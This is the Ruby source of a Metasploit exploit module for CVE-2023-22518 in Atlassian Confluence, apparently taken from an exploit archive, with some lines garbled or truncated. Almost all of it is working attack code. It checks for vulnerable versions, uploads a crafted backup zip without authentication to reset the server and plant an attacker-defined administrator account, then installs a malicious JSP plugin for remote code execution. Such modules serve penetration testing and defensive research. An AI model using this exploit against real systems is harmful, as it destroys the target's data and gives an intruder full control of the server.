# This module requires Metasploit:  
# Current source:  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version  
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin  
prepend Msf::Exploit::Remote::AutoCheck  
def initialize(info = {})  
'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',  
'Description' => %q{  
This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a  
Confluence instance administrator account. Using this account, an attacker can then perform all  
administrative actions that are available to Confluence instance administrator. This module uses the  
administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code  
execution on the target in the context of the of the user running the confluence server.  
'Author' => [  
'Atlassian', # Discovery  
'jheysel-r7' # msf module  
'References' => [  
[ 'URL', ''],  
[ 'CVE', '2023-22518']  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Targets' => [  
'Platform' => 'java',  
'Arch' => [ARCH_JAVA]  
'DisclosureDate' => '2023-10-31',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials  
'Reliability' => [ REPEATABLE_SESSION, ]  
Opt::RPORT(8090),'NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),'NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),  
# The endpoint we target to trigger the vulnerability.'CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),  
# We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.'CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])  
def check  
confluence_version = get_confluence_version  
return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version  
# Confluence Server and Confluence Data Center have the same vulnerable version ranges.  
if confluence_version.between?('1.0.0'),'7.19.15')) ||  
confluence_version.between?('7.20.0'),'8.3.3')) ||  
confluence_version.between?('8.4.0'),'8.4.3')) ||  
confluence_version.between?('8.5.0'),'8.5.2')) ||  
confluence_version =='8.6.0')  
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")  
Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")  
def generate_hash(password)  
salt = OpenSSL::Random.random_bytes(16)  
iterations = 10000  
digest ='SHA1')  
key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)  
salted_key = salt + key  
encoded_hash = Base64.strict_encode64(salted_key)  
'{PKCS5S2}' + encoded_hash  
def create_zip  
zip_file =  
# needs to be present in the zip file in order for it to be valid.  
export_descriptor =, 'exploits', 'CVE-2023-22518', ''))  
zip_file.add_file('', export_descriptor)  
entities_xml =, 'exploits', 'CVE-2023-22518', 'entities.xml'))  
entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)  
entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])  
entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))  
zip_file.add_file('entities.xml', entities_xml)  
def upload_backup  
zip_file = create_zip  
post_data =  
post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')  
post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')  
post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"")  
data = post_data.to_s  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),  
'method' => 'POST',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'keep_cookies' => true,  
'headers' => {  
'X-Atlassian-Token' => 'no-check'  
'vars_get' => {  
'synchronous' => 'true'  
}, 120)  
fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200  
print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")  
def exploit  
print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")  
# Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password  
# Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.  
payload_endpoint = rand_text_alphanumeric(8)  
plugin_key = rand_text_alpha(8)  
payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)  
upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])  
delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])